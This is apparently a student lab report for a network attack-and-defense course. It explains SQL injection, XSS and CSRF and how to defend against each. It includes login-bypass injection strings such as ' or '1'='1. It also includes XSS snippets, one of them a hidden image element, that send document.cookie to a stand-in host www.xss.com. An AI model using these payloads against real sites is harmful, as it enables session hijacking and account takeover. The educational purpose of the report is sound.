《网络攻防》实验九：web安全基础实践

本次实验在XX同学的指导下完成

1.实验后回答问题

（1）SQL注入攻击原理，如何防御

SQL注入攻击的基本原理，是从客户端合法接口提交特殊的非法代码，让其注入到服务器端执行业务的SQL中去，进而改变SQL语句的原有逻辑和影响服务器端正常业务的处理。

SQL注入攻击是Web应用中一个重要的安全问题，虽然Java具备较高的安全性，但如果开发人员不注意，也有可能留下安全隐患，请看示例：

执行验证的SQL语句

现有一个Login页面用来控制WebApp的入口，用户想要进入只有输入“用户名”和“密码”，负责用户登录处理的Servlet接受到请求后，将看数据表usertable中是否存在这个用户名和密码，如果存在则让其进入，否则拒绝，进行验证的SQL语句如下：

select count(*) from usertable where name='用户名' and pswd='密码‘

执行完这条SQL语句后，如果记录数等于零说明在usertable表找不到用户名和密码对应的记录，应该拒绝；如果记录数大于零则说明能在usertable表中找到对应的记录，应予放行。

如果用户进行SQL注入则可使验证无效

如果用户通过某种途径知道或是猜测出了验证SQL语句的逻辑，他就有可能在表单中输入特殊字符改变SQL原有的逻辑，比如在名称文本框中输入“ ‘ or ’1‘=’1‘ or ’1‘=’1 ”或是在密码文本框中输入“ 1‘ or ’1‘=’1 ”，SQL语句将会变成：

1. select count(*) from usertable where name='' or '1'='1' or '1'='1 ' and pswd=''
2. select count(*) from usertable where name='' and pswd='1' or '1'='1'

明显，or和单引号的加入使得where后的条件始终是true原有的验证完全无效了。

使用正则表达式屏蔽特殊字符

使用SQL注入攻击多在特殊字符上下手脚，如“’”，“*”，“/” ,”--”等，如果用正则表达式限制特殊字符输入，这些手段将没有效果。下面的代码将阻止含有特殊字符的请求。

if(Pattern.matches("\\w+", name)==false || Pattern.matches("\\w+", pswd)==false ){
  // 返回login界面
  request.setAttribute("feedbackMsg", "用户名和密码不允许包括特殊字符");
  RequestDispatcher dispatcher = request.getRequestDispatcher("/web/page/login1.jsp?curr=0");
  dispatcher.forward(request, response);
  return;
}

使用PreparedStatement代替Statement

SQL注入攻击能得逞是因为在原有SQL语句中加入了新的逻辑，如果使用PreparedStatement执行SQL语句，其后只是输入参数， SQL注入攻击手段将无效，这是因为PreparedStatement不允许在不同的插入时间改变查询的逻辑结构。示例代码如下：

Connection conn=null;
PreparedStatement ps=null;
ResultSet rs=null;
String sql=" select count(*) from usertable where name=? and pswd=? ";
ps=conn.prepareStatement(sql);
ps.setString(1, name);
ps.setString(2, pswd);

PreparedStatement的错误使用

用PreparedStatement来防范SQL注入攻击是因为“因为PreparedStatement不允许在不同的插入时间改变查询的逻辑结构”，如果如下使用则起不到这个效果，因为SQL语句和参数没有分开，它们被组合在一起被一次性提交了。

Connection conn=null;
PreparedStatement ps=null;
ResultSet rs=null;
……
conn=DBUtil.getConnection();
sql=" select count(*) from usertable where name='"+name+"' and pswd='"+pswd+"' ";
ps=conn.prepareStatement(sql);
rs=ps.executeQuery();

这种情况下要防范SQL注入攻击还是要借助于正则表达式。

（2）XSS攻击的原理，如何防御

XSS是什么？它的全名是：Cross-site scripting，为了和CSS层叠样式表区分所以取名XSS。是一种网站应用程序的安全漏洞攻击，是代码注入的一种。它允许恶意用户将代码注入到网页上，其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。　　

　　XSS攻击的主要目的则是，想办法获取目标攻击网站的cookie，因为有了cookie相当于有了seesion，有了这些信息就可以在任意能接进互联网的pc登陆该网站，并以其他人的生份登陆，做一些破坏。预防措施，防止下发界面显示html标签，把</>等符号转义

　　举例：

　　上面的代码就是输入一个网络分享的图片，我在src中直接写入了javascript:alert('xss')；操作成功后生成帖子，用IE6、7的用户打开这个我发的这个帖子就会出现下图的alert('xss')弹窗。 如图：

　　当然我会将标题设计的非常吸引人点击，比如 “陈冠希艳照又有流出2012版(20P无码)” ，这样如果我将里面的alert换成恶意代码，比如：

location.href='http://www.xss.com?cookie='+document.cookie’；或者<a href='http://www.xss.com?cookie='+document.cookie>。用户的cookie我也拿到了，如果服务端session没有设置过期的话，我以后甚至拿这个cookie而不需用户名密码，就可以以这个用户的身份登录成功了。

这里的location.href只是处于简单这样做，如果做了跳转这个帖子很快会被管理员删除，但是如果我写如下代码，并且帖子的内容也是比较真实的，说不定这个帖子就会祸害很多人：

var img = document.createElement('img');
img.src='http://www.xss.com?cookie='+document.cookie;
img.style.display='none';
document.getElementsByTagName('body')[0].appendChild(img);

　　这样就神不知鬼不觉的把当前用户的cookie发送给了我的恶意站点，我的恶意站点通过获取get参数就拿到了用户的cookie。当然我们可以通过这个方法拿到用户各种各样的数据。

防御措施

• 当恶意代码值被作为某一标签的内容显示：在不需要html输入的地方对html 标签及一些特殊字符( ” < > & 等等 )做过滤，将其转化为不被浏览器解释执行的字符。
• 当恶意代码被作为某一标签的属性显示，通过用 “将属性截断来开辟新的属性或恶意方法：属性本身存在的 单引号和双引号都需要进行转码；对用户输入的html 标签及标签属性做白名单过滤，也可以对一些存在漏洞的标签和属性进行专门过滤。

（3）CSRF攻击原理，如何防御

CSRF攻击原理



　　CSRF是什么呢？CSRF全名是Cross-site request forgery，是一种对网站的恶意利用，CSRF比XSS更具危险性。想要深入理解CSRF的攻击特性我们有必要了解一下网站session的工作原理。

　　session我想大家都不陌生，无论你用.net或PHP开发过网站的都肯定用过session对象，然而session它是如何工作的呢？如果你不清楚请往下看。

先问个小问题：如果我把浏览器的cookie禁用了，大家认为session还能正常工作吗？

　　答案是否定的，我在这边举个简单的例子帮助大家理解session。

比如我买了一张高尔夫俱乐部的会员卡，俱乐部给了我一张带有卡号的会员卡。我能享受哪些权利（比如我是高级会员卡可以打19洞和后付费喝饮料，而初级会员卡只能在练习场挥杆）以及我的个人资料都是保存在高尔夫俱乐部的数据库里的。我每次去高尔夫俱乐部只需要出示这张高级会员卡，俱乐部就知道我是谁了，并且为我服务了。

　　这里我们的高级会员卡卡号 = 保存在cookie的sessionid；

而我的高级会员卡权利和个人信息就是服务端的session对象了。

　　我们知道http请求是无状态的，也就是说每次http请求都是独立的无关之前的操作的，但是每次http请求都会将本域下的所有cookie作为http请求头的一部分发送给服务端，所以服务端就根据请求中的cookie存放的sessionid去session对象中找到该会员资料了。

当然session的保存方法多种多样，可以保存在文件中，也可以内存里，考虑到分布式的横向扩展我们还是建议把它保存在第三方媒介中，比如redis或者mongodb。

　　我们理解了session的工作机制后，CSRF也就很容易理解了。CSRF攻击就相当于恶意用户A复制了我的高级会员卡，哪天恶意用户A也可以拿着这张假冒的高级会员卡去高尔夫俱乐部打19洞，享受美味的饮料了，而我在月底就会收到高尔夫俱乐部的账单！

　　了解CSRF的机制之后，危害性我相信大家已经不言而喻了，我可以伪造某一个用户的身份给其好友发送垃圾信息，这些垃圾信息的超链接可能带有木马程序或者一些欺骗信息（比如借钱之类的），如果CSRF发送的垃圾信息还带有蠕虫链接的话，那些接收到这些有害信息的好友万一打开私信中的连接就也成为了有害信息的散播着，这样数以万计的用户被窃取了资料种植了木马。整个网站的应用就可能在瞬间奔溃，用户投诉，用户流失，公司声誉一落千丈甚至面临倒闭。曾经在MSN上，一个美国的19岁的小伙子Samy利用css的background漏洞几小时内让100多万用户成功的感染了他的蠕虫，虽然这个蠕虫并没有破坏整个应用，只是在每一个用户的签名后面都增加了一句“Samy 是我的偶像”，但是一旦这些漏洞被恶意用户利用，后果将不堪设想，同样的事情也曾经发生在新浪微博上面。

　　举例：

　　CSRF攻击的主要目的是让用户在不知情的情况下攻击自己已登录的一个系统，类似于钓鱼。如用户当前已经登录了邮箱，或bbs，同时用户又在使用另外一个，已经被你控制的站点，我们姑且叫它钓鱼网站。这个网站上面可能因为某个图片吸引你，你去点击一下，此时可能就会触发一个js的点击事件，构造一个bbs发帖的请求，去往你的bbs发帖，由于当前你的浏览器状态已经是登陆状态，所以session登陆cookie信息都会跟正常的请求一样，纯天然的利用当前的登陆状态，让用户在不知情的情况下，帮你发帖或干其他事情。

CSRF防御

• 通过 referer、token 或者 验证码 来检测用户提交。
• 尽量不要在页面的链接中暴露用户隐私信息。
• 对于用户修改删除等操作最好都使用post 操作 。
• 避免全站通用的cookie，严格设置cookie的域。

(以上内容均引用百度)